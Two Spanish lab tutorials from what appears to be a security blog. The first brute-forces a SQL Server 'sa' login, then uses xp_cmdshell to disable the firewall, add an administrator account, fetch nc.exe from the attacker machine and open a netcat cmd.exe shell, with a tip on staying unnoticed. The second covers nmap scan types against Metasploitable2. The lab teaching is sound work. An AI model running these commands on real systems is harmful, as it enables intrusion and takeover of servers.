Category:

Security

Hacking: Explotación manual de un SQL (con nmap)

El objetivo es realizar un escaneo de nuestra red, para descubrir máquinas y servicios con posibles fallos de seguridad. En concreto veremos luego como ejecutar instrucciones remotas vía cmd_shell

Veamos en primer lugar la ip de nuestra máquina Kali:

root@kali:~# ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.50.51 netmask 255.255.255.0 broadcast 192.168.50.255
inet6 fe80::20c:29ff:fe60:5df0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:60:5d:f0 txqueuelen 1000 (Ethernet)
RX packets 109110 bytes 157908539 (150.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20692 bytes 1408248 (1.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

A continuación lanzo un scan rápido para ver las diferentes máquinas que están UP dentro de nuestro laboratorio de trabajo.

root@kali:~# nmap -sn 192.168.50.0/24

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-18 08:21 CEST

Nmap scan report for 192.168.50.1
Host is up (0.00017s latency).
MAC Address: 00:0C:29:5A:A6:C5 (VMware)

Nmap scan report for 192.168.50.52
Host is up (-0.100s latency).
MAC Address: 00:0C:29:1E:86:8D (VMware)

Nmap scan report for 192.168.50.53
Host is up (-0.087s latency).
MAC Address: 00:0C:29:34:7A:DB (VMware)

Nmap scan report for 192.168.50.254
Host is up (-0.088s latency).
MAC Address: 00:0C:29:8B:EC:8B (VMware)

Nmap scan report for 192.168.50.51
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.24 seconds

Ahora el objetivo es ver en cada una de esas máquinas posibles vulnerabilidades, para intentar explotarlas de forma manual. Para NO eternizar la práctica, lo haremos solo con la máquina 192.168.50.52, un Windows 2003.

root@kali:~# nmap -sS -sU -T4 -A -v 192.168.50.52

Nmap scan report for 192.168.50.52

Host is up (0.00046s latency).

Not shown: 1958 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd 0.9.18 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 1 ftp ftp 0 Aug 13 2012 incoming
|_-r--r--r-- 1 ftp ftp 187 Dec 03 2005 onefile.html
|_ftp-bounce: bounce working!
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla

25/tcp open smtp Microsoft ESMTP 6.0.3790.1830
| smtp-commands: megatron-in9jjc.codsp.local Hello [192.168.50.51], TURN, SIZE 2097152, ETRN, PIPELINING, DSN, ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY, OK,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH TURN ETRN BDAT VRFY

53/tcp open domain?
80/tcp open http Apache httpd 2.2.3 ((Win32) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8d mod_autoindex_color PHP/5.1.6)
|_http-favicon: Unknown favicon MD5: 1BF391B9638164FAD49BEC6DB7E7B9AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.3 (Win32) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8d mod_autoindex_color PHP/5.1.6
| http-title: XAMPP para Windows Version 1.5.4a
|_Requested resource was http://192.168.50.52/xampp/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2017-08-18 07:15:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
443/tcp open ssl/https?
|_ssl-date: 2017-08-18T07:17:14+00:00; -2s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_IDEA_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
445/tcp open microsoft-ds Windows Server 2003 3790 Service Pack 1 microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
1037/tcp open msrpc Microsoft Windows RPC
1038/tcp open msrpc Microsoft Windows RPC
1041/tcp open msrpc Microsoft Windows RPC
1050/tcp open msrpc Microsoft Windows RPC
1059/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.2047.00; SP1
| ms-sql-ntlm-info:
|_ Product_Version: 5.2.3790
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-08-18T00:26:09
| Not valid after: 2047-08-18T00:26:09
| MD5: 894b e0d4 cde9 5c63 25ad e8d9 625d f887
|_SHA-1: 031d 619e 75db 8154 f803 d515 78cc c305 dece 1103
|_ssl-date: 2017-08-18T07:17:16+00:00; -2s from scanner time.

3268/tcp open ldap
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ms-wbt-server Microsoft Terminal Service
53/udp open domain Microsoft DNS
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2017-08-18 07:15:05Z)
123/udp open ntp NTP v3
| ntp-info:
|_ receive time stamp: 2017-08-18T07:17:17

137/udp open netbios-ns Microsoft Windows netbios-ns (Domain controller: CODSP)
138/udp open|filtered netbios-dgm
161/udp open|filtered snmp
389/udp open ldap?
| fingerprint-strings:
| LDAPSearchReqUDP:
| currentTime1
| 20170818071500.0Z0
| subschemaSubentry1
| 9CN=Aggregate,CN=Schema,CN=Configuration,DC=codsp,DC=local0
| dsServiceName1
| CN=NTDS Settings,CN=MEGATRON-IN9JJC,CN=Servers,CN=Nombre-predeterminado-primer-sitio,CN=Sites,CN=Configuration,DC=codsp,DC=local0
| namingContexts1
| DC=codsp,DC=local
| "CN=Configuration,DC=codsp,DC=local
| ,CN=Schema,CN=Configuration,DC=codsp,DC=local
| #DC=DomainDnsZones,DC=codsp,DC=local
| #DC=ForestDnsZones,DC=codsp,DC=local0
| defaultNamingContext1
| DC=codsp,DC=local0
| schemaNamingContext1
| ,CN=Schema,CN=Configuration,DC=codsp,DC=local0
| configurationNamingContext1
| "CN=Configuration,DC=codsp,DC=local0
| rootDomainNamingContext1
| DC=codsp,DC=local0
| supportedControl1

445/udp open|filtered microsoft-ds
464/udp open|filtered kpasswd5
500/udp open|filtered isakmp
1029/udp open|filtered solid-mux
1036/udp open domain Microsoft DNS
1039/udp open|filtered sbl
1040/udp open|filtered netarx
1044/udp open|filtered dcutility
3456/udp open|filtered IISrpc-or-vat
4500/udp open|filtered nat-t-ike

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port389-UDP:V=7.60%I=7%D=8/18%Time=599693FB%P=x86_64-pc-linux-gnu%r(LDA

SF:PSearchReqUDP,921,"0\x84\0\0\t\x05\x02\x01\x07d\x84\0\0\x08\xfc\x04\x00

SF:0\x84\0\0\x08\xf40\x84\0\0\0&\x04\x0bcurrentTime1\x84\0\0\0\x13\x04\x11
SF:\x04\x161\.2\.840\.113556\.1\.4\.473\x04\x161\.2\.840\.113");

MAC Address: 00:0C:29:1E:86:8D (VMware)

Device type: general purpose

Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2

Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental

Service Info: Hosts: megatron-in9jjc.codsp.local, MEGATRON-IN9JJC; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003, cpe:/o:microsoft:windows_server

Host script results:

|_clock-skew: mean: -1s, deviation: 1s, median: -2s
| ms-sql-info:
| 192.168.50.52:1433:
| Version:
| name: Microsoft SQL Server 2005 SP1
| number: 9.00.2047.00
| Product: Microsoft SQL Server 2005
| Service pack level: SP1
| Post-SP patches applied: false
|_ TCP port: 1433
| nbstat: NetBIOS name: MEGATRON-IN9JJC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:1e:86:8d (VMware)
| Names:
| MEGATRON-IN9JJC<00> Flags: <unique><active>
| CODSP<00> Flags: <group><active>
| CODSP<1c> Flags: <group><active>
| MEGATRON-IN9JJC<20> Flags: <unique><active>
| CODSP<1b> Flags: <unique><active>
| CODSP<1e> Flags: <group><active>
| CODSP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| smb-os-discovery:
| OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
| OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
| Computer name: megatron-in9jjc
| NetBIOS computer name: MEGATRON-IN9JJC\x00
| Domain name: codsp.local
| Forest name: codsp.local
| FQDN: megatron-in9jjc.codsp.local
|_ System time: 2017-08-18T02:17:19-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE

HOP RTT ADDRESS

1 0.46 ms 192.168.50.52

NSE: Script Post-scanning.

Initiating NSE at 09:21

Completed NSE at 09:21, 0.00s elapsed

Initiating NSE at 09:21

Completed NSE at 09:21, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 394.25 seconds

Raw packets sent: 2555 (99.901KB) | Rcvd: 2148 (104.291KB)

Nos fijamos para la práctica en el servicio tcp/1433 donde está un servidor SQL 2055. Por defecto en un servidor SQL 2005 el usuario y contraseña por defecto son:

SQL Server 20xx Web or Standard
User: sa
Password: will be the same as your administrator or root user password at the time the VDS was provisioned.

En nuestro caso, y dado que no conocemos el password del administrador “teóricamente” utilizaremos el propio nmap para un ataque de fuerza bruta contra el servidor SQL. Podemos encontrar la explicación de dicho tipo de ataque en el siguiente enlace:

https://nmap.org/nsedoc/scripts/ms-sql-brute.html

Script Arguments

userdb

The filename of an alternate username database. Default: nselib/data/usernames.lst

passdb

The filename of an alternate password database. Default: nselib/data/passwords.lst

Podemos encontrar más listas para ataques de fuerza bruta en nuestra máquina Kali en la ruta: /usr/share/wordlists. Bastaría con hacer un locate wordlists y aparecen dicha información

También tenemos enlaces en internet con dicho propósito:

http://muyseguridad.net/2011/02/28/diccionarios-de-contrasenas-para-ataques-de-fuerza-bruta/

La sintaxis básica con nmap es la siguiente:

nmap -p 1433 –script ms-sql-brute –script-args userdb=customuser.txt,passdb=custompass.txt <host>

Pasemos a la acción:

root@kali:~# nmap -p 1433 --script ms-sql-brute 192.168.50.52

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-19 09:00 CEST

Nmap scan report for 192.168.50.52

Host is up (0.00036s latency).

PORT STATE SERVICE

1433/tcp open ms-sql-s
| ms-sql-brute:
| [192.168.50.52:1433]
| Credentials found:
|_ sa:password => Login Success

MAC Address: 00:0C:29:1E:86:8D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 61.85 seconds

Previamente hemos añadido el usuario ‘sa’ al fichero de usernames.lst, ya que por defecto no está. Hay que fijarse en todo.

root@kali:~#cat /usr/share/nmap/nselib/data/usernames.lst

sa
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test

Una vez tenemos el usuario y el password necesitaremos un cliente sql con el que conectarnos desde la máquina kali o un Windows.

Para Windows https://www.heidisql.com/

Para Linux http://squirrel-sql.sourceforge.net/

Utilizaremos ahora HEIDI portable desde un servidor Windows 2012 R2

Una vez conectados, podemos realizar llamadas a la Shell de Windows desde el propio SQL con el comando xp_cmdshell

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql

Vemos aquí diversos ejemplos de llamada a la Shell.

Muy importante saber bajo que cuenta estamos ejecutando dicho comando. Lo vemos con el comando:

EXEC master..xp_cmdshell 'whoami.exe';

La respuesta es ‘nt autority\servicio de red’

Vemos desde el propio servidor Windows 2003 que la información es correcta:

¿Qué permisos tiene dicha cuenta? Los encontramos en esta breve explicación:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms684272(v=vs.85).aspx

Veamos otros ejemplo del uso de xp_cmdshell

EXEC xp_cmdshell 'dir C:\';

EXEC xp_cmdshell 'mkdir C:\codsp';

Hay que tener presente que se debe activar dicha posibilidad:

EXEC sp_configure 'show advanced options', 1

GO

-- To update the currently configured value for advanced options.

RECONFIGURE
GO

-- To enable the feature.

EXEC sp_configure 'xp_cmdshell', 1
GO

-- To update the currently configured value for this feature.

RECONFIGURE
GO

MUY IMPORTANTE: con los permisos del servicio habrá muchas cosas que no podremos hacer, al no tener la cuenta de servicio de red los permisos adecuados:

EXEC xp_cmdshell 'netsh firewall set opmode disable';

EXEC xp_cmdshell 'net user intruso38 int2015INT /add';

EXEC xp_cmdshell 'net localgroup administradores intruso38 /add';

De todas formas, vamos a ampliar un poco la práctica, cambiando los permisos del servicio SQL para que se ejecute bajo una cuenta con permisos … más potentes, algo bastante habitual …

EXEC master..xp_cmdshell 'whoami.exe';

Nos da como resultado nt authority\system. Ahora si!!!!!!! .

Ejemplo 1: Crear un nuevo usuario y añadirlo al grupo adminstradores

OJO: crear usuarios, y meterlos en el grupo de administradores canta como una almeja, así que se recomienda ser más disimulados…

Ejemplo 2: Descargar nc.exe en el Windows 2003 desde un servidor tftp de nuestra máquina kali. Evidentemente si tenemos el password de administrador, hay otras máneras más sencillas, pero así vemos como utilizar otras opciones que en algún caso nos pueden ser útiles

EXEC xp_cmdshell 'tftp -i 192.168.50.51 GET nc.exe C:\nc.exe';

Para ello hemos tenido que configurar adecuadamente el servidor tftp en nuestra máquina Kali. Podemos encontrar los pasos en el siguiente enlace:

https://null-byte.wonderhowto.com/how-to/hack-like-pro-using-tftp-install-malicious-software-target-0157547/

Os pongo a continuación los ficheros y sus valores en mi caso:

root@kali:~# cat /etc/default/atftpd

USE_INETD=false

# OPTIONS below are used only with init script

OPTIONS="--daemon --port 69 --retry-timeout 5 --maxthread 100 --verbose=5 /srv/tftp"

root@kali:~# ls /srv/tftp/

nc.exe pepe.txt

root@kali:~# /etc/init.d/atftpd start

[ ok ] Starting atftpd (via systemctl): atftpd.service.

Podríamos invocar el comando netcat (nc.exe) para hacer realmente lo que queramos.

EXEC xp_cmdshell 'c:\nc.exe -lvp 4447 -e cmd.exe';

root@kali:~# nmap -sS -p 4447 192.168.50.52

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-20 17:49 CEST

Nmap scan report for 192.168.50.52

Host is up (0.00029s latency).

PORT STATE SERVICE
4447/tcp open n1-rmgmt

MAC Address: 00:0C:29:1E:86:8D (VMware)

Encontraremos en los siguientes enlaces, múltiples opciones y posibilidades con dicho comando.

https://www.computerhope.com/unix/nc.htm

https://eternallybored.org/misc/netcat/

http://www.tutorialspoint.com/unix_commands/nc.htm

Dejamos para un próximo Post la explotación vía METASPLOIT

September 12, 2017 0 comment

Security

Taller de Hacking I (nmap a fondo + metasploit básico)

written by José Luis Sánchez Borque

ESQUEMA DE TRABAJO Y ESCANEO INICIAL

El escenario para simular un entorno más real y poder hacer más pruebas es el siguiente:

Podemos ver en el siguiente enlace como instalar Kali:

http://www.sysadmit.com/2017/04/vmware-kali-linux-instalar.html

Podemos bajar la máquina metasploitable2 en sourceforge:

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

En el esquema el servidor Ubuntu 16.04 actúa como Firewall y como servidor dhcp

Configuración de RED Ubuntu 16.04

root@ubuntu:~# cat /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto ens33
iface ens33 inet dhcp
auto ens34
iface ens34 inet static
address 192.168.50.254
netmask 255.255.255.0
broadcast 192.168.50.255

root@ubuntu:~# cat /etc/resolv.conf

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)

# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

nameserver 192.168.1.1

Configuración del servidor DHCP Ubuntu 16.04

subnet 192.168.50.0 netmask 255.255.255.0 {
range 192.168.50.50 192.168.50.100;
option domain-name-servers 8.8.8.8;
option domain-name "profe.local";
option subnet-mask 255.255.255.0;
option routers 192.168.50.254;
option broadcast-address 192.168.50.255;
default-lease-time 600;
max-lease-time 7200;
}

Configuración del firewall inicial Ubuntu 16.04

administrador@ubuntu:~$ cat /etc/fw/fwclear.fw

# Definicion de variables
iptables -F
iptables -X
iptables -t nat -F
iptables -Z

iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE

echo "Reglas Iptables ejecutadas"

El script fwclear lo ejecutaremos como root de forma manual, ya que estamos en un entorno de pruebas. En un caso real bastaría con llamarlo desde el fichero /etc/rc.local

Aquí podemos encontrar más ejemplos del comando nmap:

https://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

IDENTIFICAR MÁQUINAS ACTIVAS

He realizado el siguiente tipo de escaneo para detectar todos los posibles host de nuestra red local.

root@kali:~# nmap -sn -n 192.168.50.0/24

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 09:55 CEST

Nmap scan report for 192.168.50.50
Host is up (0.00033s latency).
MAC Address: 00:0C:29:2E:33:D4 (VMware)
Nmap scan report for 192.168.50.254
Host is up (-0.10s latency).
MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap scan report for 192.168.50.51
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 9.28 seconds
root@kali:~#

Parámetros:

-sn: Ping Scan – disable port scan

-n/-R: Never do DNS resolution/Always resolve [default: sometimes]

Mucha gente pone que los firewalls limitan el ping (protocolo icmp-echo y icmp-reply ) … Y que por lo tanto este tipo de escaneo no detecta máquinas …. Nada más lejos de la realidad. Si observamos las tramas con Wireshark, vemos que NO hace ningún PING, sino que trabaja con ARP directamente. Ojo, esta técnica solo funciona en nuestra red local, pues recordemos que los paquetes ARP de broadcast quedan limitados a nuestra red local.

Si estamos fuera de la red, esta técnica NO sirve.

Si filtramos con Wireshark veremos las dos respuestas de los dos host up de nuestra red. La tercera máquina es la propia que no aparece en el wireshark. En definitva podemos ver que las MAC’s que aparecen son las de

arp.opcode == 2

Ahora lo hacemos con Zenmap también, y vemos el mismo resultado pero con entorno gr

Por cierto disponemos de herramientas Online para saber a qué fabricante pertenece una determinada MAC, aunque ya sabemos que con la virtualización y determinadas herramientas la podemos suplantar. Hablamos siempre en un entorno normal, sin “manipulación” del usuario.

http://systemadmin.es/herramientas/traducir-mac-a-fabricante-del-equipo

PRUEBAS DE CONECTIVIDAD

Las pruebas las hago desde la máquina Kali, suficiente para demostrar que hay conectividad entre todas las máquinas de nuestra red.

Máquina Kali

Configuración tcp/ip

root@kali:~# ifconfig eth0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.50.51 netmask 255.255.255.0 broadcast 192.168.50.255
inet6 fe80::20c:29ff:fe60:5df0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:60:5d:f0 txqueuelen 1000 (Ethernet)
RX packets 402576 bytes 605004704 (576.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 101052 bytes 6870727 (6.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Hacia el gateway

root@kali:~# ping -c 1 192.168.50.254

PING 192.168.50.254 (192.168.50.254) 56(84) bytes of data.
64 bytes from 192.168.50.254: icmp_seq=1 ttl=64 time=0.202 ms
--- 192.168.50.254 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.202/0.202/0.202/0.000 ms

Hacia la máquina metasplotaible2

root@kali:~# ping -c 1 192.168.50.50

PING 192.168.50.50 (192.168.50.50) 56(84) bytes of data.
64 bytes from 192.168.50.50: icmp_seq=1 ttl=64 time=9.26 ms
--- 192.168.50.50 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 9.266/9.266/9.266/0.000 ms

Hacia el router Orange

root@kali:~# ping -c 1 192.168.1.1

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=3.87 ms

--- 192.168.1.1 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 3.873/3.873/3.873/0.000 ms

Hacia Internet con resolución de nombres

root@kali:~# ping -c 1 www.google.com

PING www.google.com (216.58.201.132) 56(84) bytes of data.

64 bytes from mad06s25-in-f4.1e100.net (216.58.201.132): icmp_seq=1 ttl=53 time=13.5 ms

--- www.google.com ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 13.582/13.582/13.582/0.000 ms

ESCANEO COMPLETO DE PUERTOS, incluido silencioso

Realizaremos como indica la práctica los diferentes tipos de escaneo de 10000 en 10000

TcpConnect root@kali:~#nmap -sT -sV -O 192.168.50.50 -v -p1-9999

SYN scan root@kali:~#nmap -sS -sV -O 192.168.50.50 -v -p1-9999

FIN scan root@kali:~#nmap -sF -sV -O 192.168.50.50 -v -p1-9999

Xmas scan root@kali:~#nmap -sX -sV -O 192.168.50.50 -v -p1-9999

NULL scan root@kali:~#nmap -sN -sV -O 192.168.50.50 -v -p1-9999

UDP scan root@kali:~#nmap -sU -sV -O 192.168.50.50 -v -p1-9999

Hemos comparado para cada uno de los métodos anteriores los puertos abiertos y cerrados que nos dan. Puesto que el resultado es coincidente ( menos en el de UDP scan ) utilizaremos solo uno de ellos, el -sS para el resto de la práctica

Una vez tenemos claro que los resultados han sido los mismos en todos los casos, ejecutaremos todos los puertos a la vez, con un buen café y pastas… incluso nos da tiempo a ir a la panadería….

Resultat d'imatges de cafe y pastas

root@kali:~# nmap -sS -sV -O 192.168.50.50 -p1-65535

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 12:41 CEST

Nmap scan report for 192.168.50.50
Host is up (0.00031s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
44271/tcp open rmiregistry GNU Classpath grmiregistry
44978/tcp open mountd 1-3 (RPC #100005)
54319/tcp open nlockmgr 1-4 (RPC #100021)
55459/tcp open status 1 (RPC #100024)

MAC Address: 00:0C:29:2E:33:D4 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6353.85 seconds

Veamos sobre uno de los puertos abiertos -80-, los diferentes tipos de nmap, para entenderlos a fondo:

root@kali:~# nmap -sT -R 192.168.50.50 -p80

Wireshark:

root@kali:~# nmap -sS -R 192.168.50.50 -p80

Wireshark

root@kali:~# nmap -sF -R 192.168.50.50 -p80

Wireshark

root@kali:~# nmap -sN -R 192.168.50.50 -p80

Wireshark

root@kali:~# nmap -sX -R 192.168.50.50 -p80

Wireshark

Veamos lo mismo con un puerto cerrada para cotejar las diferencias y entenderlo todo bien. Puerto 81/tcp:

root@kali:~# nmap -sT -R 192.168.50.50 -p81

Wireshark

root@kali:~# nmap -sS -R 192.168.50.50 -p81

Wireshark

root@kali:~# nmap -sF -R 192.168.50.50 -p81

Wireshark

root@kali:~# nmap -sN -R 192.168.50.50 -p81

Wireshark

root@kali:~# nmap -sX -R 192.168.50.50 -p81

Wireshark

Veamos sobre un puerto filtrado -22- por iptables en el Ubuntu que actúa como enrutador:

Veamos en primer lugar que el puerto 22 está abierto:

root@kali:~# nmap -sT -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:26 CEST
Nmap scan report for 192.168.50.254
Host is up (0.00031s latency).

PORT STATE SERVICE
22/tcp open ssh

MAC Address: 00:0c:29:8b:ec:8b (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

Añadimos la siguiente regla simple en la máquina Ubuntu que actúa como enrutador:

root@ubuntu:~# iptables -A INPUT -i ens34 -p tcp --dport 22 -j DROP

Veamos ahora como actúan los diferentes tipos de scan con un puerto filtrado por un firewall

root@kali:~# nmap -sT -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00046s latency).

PORT STATE SERVICE
22/tcp filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds

Wireshark

root@kali:~# nmap -sS -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00044s latency).

PORT STATE SERVICE
22/tcp filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds

Wireshark

root@kali:~# nmap -sF -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00047s latency).

PORT STATE SERVICE
22/tcp open|filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds

Wireshark

root@kali:~# nmap -sN -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00015s latency).

PORT STATE SERVICE
22/tcp open|filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds

Wireshark

root@kali:~# nmap -sX -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00031s latency).

PORT STATE SERVICE
22/tcp open|filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds

Wireshark

Recordar que como hace una consulta ARP, nmap puede suponer que el puerto está filtered al no tener la respuesta tcp adecuada ni que está OPEN ni CLOSED como hemos visto anteriormente. Todo esto implica muchos conocimientos de TCP/IP, necesarios para entender el hacking en general.

ESCANEO PROFUNDO CON ZENMAP

Para el siguiente punto, y sobre todo para agilizar el tiempo atacaremos directamente a los puertos que ya sabemos están abiertos. Para ello utilizaremos el parámetro -p[port list]

nmap -T4 -A -v 192.168.50.50 -p21,22,23,25,53,80,111,139,445,512, 513,514,1099,1524,2049,2121,3306,3632,5432,5900,6000,6667,6697,8009, 8180,8787,44271,44978,54319,55459

Parámetros utilizados:

-T<0-5>: Set timing template (higher is faster)

-A: Enable OS detection, version detection, script scanning, and traceroute

SCRIPT SCAN:

-sC: equivalent to –script=default

–script=<Lua scripts>: <Lua scripts> is a comma separated list of

directories, script-files or script-categories

–script-args=<n1=v1,[n2=v2,…]>: provide arguments to scripts

–script-args-file=filename: provide NSE script args in a file

–script-trace: Show all data sent and received

–script-updatedb: Update the script database.

–script-help=<Lua scripts>: Show help about scripts.

<Lua scripts> is a comma-separated list of script-files or script-categories.

Podremos encontrar una lista detallada de todas las posibilidades con los scripts en el siguiente enlace:

https://nmap.org/book/nse-usage.html

Hemos generado un nuevo perfil con un scan intensivo -A -T4

